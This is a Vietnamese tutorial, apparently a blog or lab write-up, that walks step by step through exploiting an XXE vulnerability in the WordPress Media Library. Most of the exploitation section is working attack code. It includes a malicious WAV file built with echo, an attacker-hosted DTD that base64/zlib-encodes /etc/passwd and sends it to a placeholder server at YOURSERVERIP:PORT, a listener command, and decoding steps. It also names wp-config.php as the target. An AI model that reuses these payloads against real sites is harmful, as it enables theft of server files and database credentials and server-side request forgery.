Lỗ hổng XXE bao gồm một phần lợi dụng cấu hình kém của trình thông dịch XML. Điều này cho phép bạn tấn công các ứng dụng thông dịch ngôn ngữ XML trong các tham số của chúng. Ở đây Mình sẽ khám phá lỗ hổng XXE gần đây, mặc dù lỗ hổng này đi kèm với một số cảnh báo.
Các nhà nghiên cứu tại công ty bảo mật SonarSource đã phát hiện ra một lỗ hổng bảo mật XML bên ngoài thực thể (XXE) trong Thư viện phương tiện WordPress. Lỗ hổng chỉ có thể bị khai thác khi CMS này chạy trong PHP 8 và người dùng tấn công có quyền tải lên các tệp phương tiện. Hãy lưu ý điều kiện sau khi chúng ta xem qua một ví dụ về khai thác lỗ hổng này bên dưới.
Impact
- Arbitrary File Disclosure: Nội dung của bất kỳ tệp nào trên hệ thống tệp của máy chủ lưu trữ có thể được truy xuất, ví dụ: wp-config.php chứa dữ liệu nhạy cảm như thông tin đăng nhập cơ sở dữ liệu.
- Server-Side Request Forgery (SSRF): Yêu cầu HTTP có thể được thực hiện thay mặt cho cài đặt WordPress. Tùy thuộc vào môi trường, điều này có thể có tác động nghiêm trọng.
Khai thác lỗ hổng
Một trang web WordPress bị ảnh hưởng bởi lỗ hổng này đã được xác định thông qua công cụ WPScan. Chúng ta có thể thấy kết quả của công cụ này bên dưới ảnh
Trong ví dụ này, mình đã xác định rằng người dùng tác giả sử dụng thông tin đăng nhập như sau:
user: test-corp
password: test
Trong trường hợp này, chúng ta có thể thấy rằng người dùng này có quyền tải lên các tệp phương tiện. Mình có thể tận dụng điều này để tải lên một trình kết nối đảo ngược!
Tạo tệp WAV độc hại.
Rất dễ dàng, trong bảng điều khiển bash của bạn, hãy nhập lệnh sau:
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Trên máy tấn công của bạn (có thể là Kali hoặc TryHackMe AttackBox), hãy tạo một tệp dtd với mã sau. Điều này sẽ cho phép bạn thực thi mã sau khi máy chủ web tìm nạp tệp dtd. Đảm bảo tên của tệp này khớp với những gì bạn đã nhập trong tệp .wav cho NAMEEVIL.dtd (xem đoạn mã trước đó).
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Bây giờ khởi chạy máy chủ http trong cùng thư mục với tệp dtd.
php -S 0.0.0.0:PORT
Bây giờ tải .wav độc hại lên ứng dụng WordPress!
Khi bạn đã tải lên tệp .wav, bạn sẽ thấy yêu cầu sau trong nhật ký máy chủ HTTP của mình. Lưu ý, để tách lọc dữ liệu một cách hiệu quả, chúng tôi đã sử dụng Zlib để mã hóa.
Để thực hành (và vì lợi ích của ví dụ này), hãy sử dụng PHP để giải mã lỗi này! Tạo .php với mã sau, chỉ cần đảm bảo sao chép và dán base64 được trả về từ máy chủ WordPress nơi chúng ta có 'base64here' trong mã ví dụ.
<?php echo zlib_decode(base64_decode('base64here')); ?>
Chạy tệp php bằng lệnh sau: php FILENAME.php
Tương tự, chúng ta cũng có thể tận dụng các thư viện mã hóa base64 khác như sau:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Giải mã điều này thật dễ dàng từ đây! Mình có thể sao chép blurb base64 nhận được trở lại bảng điều khiển để giải mã bằng lệnh sau:
echo "base64here" | base64 -d
0 Comments